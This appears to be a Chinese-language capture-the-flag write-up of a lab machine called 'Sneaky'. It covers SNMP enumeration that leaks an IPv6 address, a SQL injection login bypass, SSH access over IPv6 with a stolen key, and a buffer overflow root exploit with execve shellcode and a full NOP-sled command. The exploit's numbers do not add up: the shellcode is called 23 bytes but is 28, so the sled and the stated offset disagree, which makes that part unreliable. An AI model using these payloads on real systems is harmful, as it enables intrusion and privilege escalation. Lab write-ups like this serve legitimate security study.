[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升
字数 1573 2025-08-29 08:30:06
SNMP+SSH-IPV6+BOF-NOP-Sled 权限提升技术详解
1. 信息收集阶段
1.1 目标识别
目标IP地址: 10.10.10.20
开放端口扫描结果:
- TCP 22: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
- TCP 80: Apache httpd 2.4.7 (Ubuntu)
扫描命令:
ip='10.10.10.20'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.2 SNMP信息泄露
通过SNMP协议获取IPv6地址:
snmpwalk -v2c -c public 10.10.10.20 ipAddressIfIndex.ipv6 | cut -d'"' -f2 | grep 'de:ad' | sed -E 's/(.{2}):(.{2})/\1\2/g'
获取到的IPv6地址: dead:beef:0000:0000:0250:56ff:feb9:0752
2. IPv6基础知识
2.1 IPv6地址表示法
示例: 2001:0db8:85a3:0000:0000:8a2e:0370:7334
双冒号(::)缩写: 2001:0db8:85a3::8a2e:0370:7334
2.2 IPv6地址类型
| 地址类型 | 前缀 | 描述 |
|---|---|---|
| 全局单播地址 | 2000::/3 | 互联网中的唯一可路由地址 |
| 链路本地地址 | FE80::/10 | 仅限于本地链路通信 |
| 唯一本地地址(ULA) | FC00::/7 | 类似IPv4的私有地址 |
| 回环地址 | ::1/128 | 相当于IPv4的127.0.0.1 |
| 未指定地址 | ::/128 | 相当于IPv4的0.0.0.0 |
| 多播地址 | FF00::/8 | 用于多播通信 |
| IPv4映射地址 | ::FFFF:0:0/96 | 兼容IPv4的IPv6地址 |
2.3 IPv6扫描注意事项
- IPv6最小子网通常是/64,意味着有2^64个可能地址
- 暴力扫描几乎不可行,必须依赖信息泄露或其他方法获取具体地址
3. Web应用漏洞利用
3.1 目录扫描
使用feroxbuster进行目录扫描:
feroxbuster --url 'http://10.10.10.20'
发现敏感目录: http://10.10.10.20/dev/
3.2 SQL注入漏洞
在发现的目录中可能存在SQL注入点:
admin' or 1=1;#
4. SSH通过IPv6绕过限制
4.1 获取SSH私钥
通过漏洞获取的RSA私钥:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
[...省略部分内容...]
-----END RSA PRIVATE KEY-----
4.2 通过IPv6连接SSH
管理员可能禁用了IPv4的SSH访问,但忽略了IPv6限制:
ssh -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:0752
5. 权限提升:缓冲区溢出+NOP滑梯
5.1 目标程序分析
目标程序路径: /usr/local/bin/chal
关键漏洞:
char var_16e[366]; // 缓冲区大小366字节,但最多存储365个字符
5.2 安全检查状态
使用checksec检查程序保护机制:
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
5.3 缓冲区溢出利用步骤
-
确定溢出偏移量:
gdb-peda$ pattern create 1024 gdb-peda$ pattern offset 0x25415525确定偏移量为362字节
-
确认NOP滑梯范围:
gdb -q /usr/local/bin/chal (gdb) r $(python2 -c 'print "A"*362') (gdb) x/100x $esp确认可执行区域:
0xbffff740-0xbffff8af -
选择稳定的返回地址:
0xbffff750
5.4 构造利用载荷
Shellcode (23字节):
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
NOP滑梯长度: 362 - 23 = 339
完整利用命令:
/usr/local/bin/chal $(python2 -c 'print "\x90"*339 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')
6. 标志获取
- 用户标志:
f18b5084af22f6908e2e778569e4682a - Root标志:
2d21ee153f5d1e517dcfc197a58a2e37
7. 技术要点总结
-
SNMP信息泄露是获取内部网络信息的重要途径
-
IPv6配置疏忽常被管理员忽略,是绕过访问控制的有效方法
-
旧版SSH配置需要特殊参数连接(
PubkeyAcceptedKeyTypes和HostKeyAlgorithms) -
缓冲区溢出利用的关键步骤:
- 确定偏移量
- 检查内存保护机制
- 定位可执行内存区域
- 构造NOP滑梯和shellcode
- 精确控制返回地址
-
开发安全建议:
- 启用所有内存保护机制(CANARY, NX, PIE等)
- 对用户输入进行严格验证
- 定期检查服务配置,避免信息泄露